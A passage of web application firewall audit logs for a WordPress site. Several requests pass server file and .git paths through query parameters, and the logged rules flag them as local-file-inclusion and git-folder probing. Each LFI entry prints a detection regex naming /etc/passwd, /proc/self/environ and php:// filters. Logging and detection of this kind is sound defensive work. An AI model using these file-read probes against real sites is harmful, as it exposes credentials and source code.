{"transaction":{"time":"13/Mar/2026:04:04:25.482193 +0100","transaction_id":"abN-uepA8xvhc8hKmehIWQAAAUw","remote_address":"57.141.20.7","remote_port":34416,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/scn_IT/LC_CTYPE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"3f42f94c5d4ce4024d2704e99a3ec7e5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6259886"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3f42f94c5d4ce4024d2704e99a3ec7e5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/scn_IT/LC_CTYPE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":200,"p2":3836,"p3":0,"p4":0,"p5":466,"sr":104,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:32.281710 +0100","transaction_id":"abN-v1ICN_OZQ9wXfc24IgAAAE4","remote_address":"57.141.20.45","remote_port":40012,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/81/47193429a7b0363165a6a530cea71273465e78 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"539f8e95ebdb4570af05814bd20cabac","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1147561"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"539f8e95ebdb4570af05814bd20cabac","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/81/47193429a7b0363165a6a530cea71273465e78||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":201,"p2":3719,"p3":0,"p4":0,"p5":336,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:34.337746 +0100","transaction_id":"abN-wVICN_OZQ9wXfc24JQAAAFU","remote_address":"57.141.20.27","remote_port":34420,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/40f41e3665bb694988b8528a988ecce0378e83 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"77a770cd1d9e7a19f458f4d02cf7cbb2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4687686"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"77a770cd1d9e7a19f458f4d02cf7cbb2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/40f41e3665bb694988b8528a988ecce0378e83||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":312,"p2":4453,"p3":0,"p4":0,"p5":358,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:38.414967 +0100","transaction_id":"abN-xYdmjjYI1SpvwBAnTAAAABc","remote_address":"57.141.20.50","remote_port":52748,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=/sftproot/htdocs/sivaco/.git/COMMIT_EDITMSG HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"5bac53c758f795b63921811a071ec72b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1574118"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5bac53c758f795b63921811a071ec72b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?view=/sftproot/htdocs/sivaco/.git/commit_editmsg||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":190,"p2":5257,"p3":0,"p4":0,"p5":394,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:47.774073 +0100","transaction_id":"abN-z4dmjjYI1SpvwBAnagAAAAE","remote_address":"57.141.20.13","remote_port":36042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/5d/804a59b00c120e535ea9a7ff16db4195398ebe HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"919cea3086a2814c0e7b860e0ddca903","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6619328"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"919cea3086a2814c0e7b860e0ddca903","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/5d/804a59b00c120e535ea9a7ff16db4195398ebe||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":3603,"p3":0,"p4":0,"p5":802,"sr":90,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:54.944295 +0100","transaction_id":"abN-1lICN_OZQ9wXfc24egAAAEk","remote_address":"57.141.20.36","remote_port":40376,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/bs_BA/LC_MEASUREMENT HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"c6414f439c733f87d5295f46ba5fd7ee","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2492183"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c6414f439c733f87d5295f46ba5fd7ee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/bs_BA/LC_MEASUREMENT||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":185,"p2":3884,"p3":0,"p4":0,"p5":274,"sr":99,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:05:07.472988 +0100","transaction_id":"abN-4UapybP6n-qLTwt4OgAAAZI","remote_address":"114.119.142.37","remote_port":51828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/227146051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"bf21038256a3019ff1c2951b495ea6a5","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6259934","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"bf21038256a3019ff1c2951b495ea6a5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":332,"p2":8705,"p3":0,"p4":0,"p5":334,"sr":191,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:05:21.508110 +0100","transaction_id":"abN-8YdmjjYI1SpvwBAnygAAABg","remote_address":"57.141.20.44","remote_port":51842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/n/nansi.sysk HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"86d97fa12e31c78a1e2a542860ad0f55","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4096997"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"86d97fa12e31c78a1e2a542860ad0f55","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/nansi.sysk||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":363,"p2":8850,"p3":0,"p4":0,"p5":354,"sr":146,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:05:26.359757 +0100","transaction_id":"abN-9kapybP6n-qLTwt4gwAAAYw","remote_address":"57.141.20.34","remote_port":34804,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/d/dwk HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"655a76837a4ec30a59f49cf7f6720644","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"66464"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"655a76837a4ec30a59f49cf7f6720644","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/dwk||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":383,"p2":6844,"p3":0,"p4":0,"p5":363,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:05:30.192489 +0100","transaction_id":"abN--VV-TtdTFIIkipUs2wAAAIM","remote_address":"57.141.20.12","remote_port":36962,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/themes/melos-news/melos-news.1.0.11.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"11760f16cd40e593093eb01d6a69da29","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3244090"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"11760f16cd40e593093eb01d6a69da29","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/melos-news/melos-news.1.0.11.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":7069,"p3":0,"p4":0,"p5":342,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:05:36.701153 +0100","transaction_id":"abN_AIdmjjYI1SpvwBAn9wAAAA8","remote_address":"57.141.20.12","remote_port":56748,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ka/LC_MESSAGES/man-db-gnulib.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"04e0a4d145b6fd685e82e0231b7bd109","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7012639"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"04e0a4d145b6fd685e82e0231b7bd109","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ka/LC_MESSAGES/man-db-gnulib.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":350,"p2":6944,"p3":0,"p4":0,"p5":363,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:10:57.089600 +0100","transaction_id":"abOAQIdmjjYI1SpvwBAqnQAAAA0","remote_address":"57.141.20.41","remote_port":52926,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e5/4b31f2312f137c37ca6a792b7f109db2153daf HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"8636699133f3e4648f94c2bde9351054","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1638860"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8636699133f3e4648f94c2bde9351054","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e5/4b31f2312f137c37ca6a792b7f109db2153daf||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":281,"p2":4215,"p3":0,"p4":0,"p5":373,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:17:36.840612 +0100","transaction_id":"abOB0EapybP6n-qLTwt_EQAAAYI","remote_address":"57.141.20.29","remote_port":59080,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/zoneinfo/America/Argentina/Mendoza HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"af68990bd57334ab944d7778fb64ed46","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4031124"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"af68990bd57334ab944d7778fb64ed46","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match 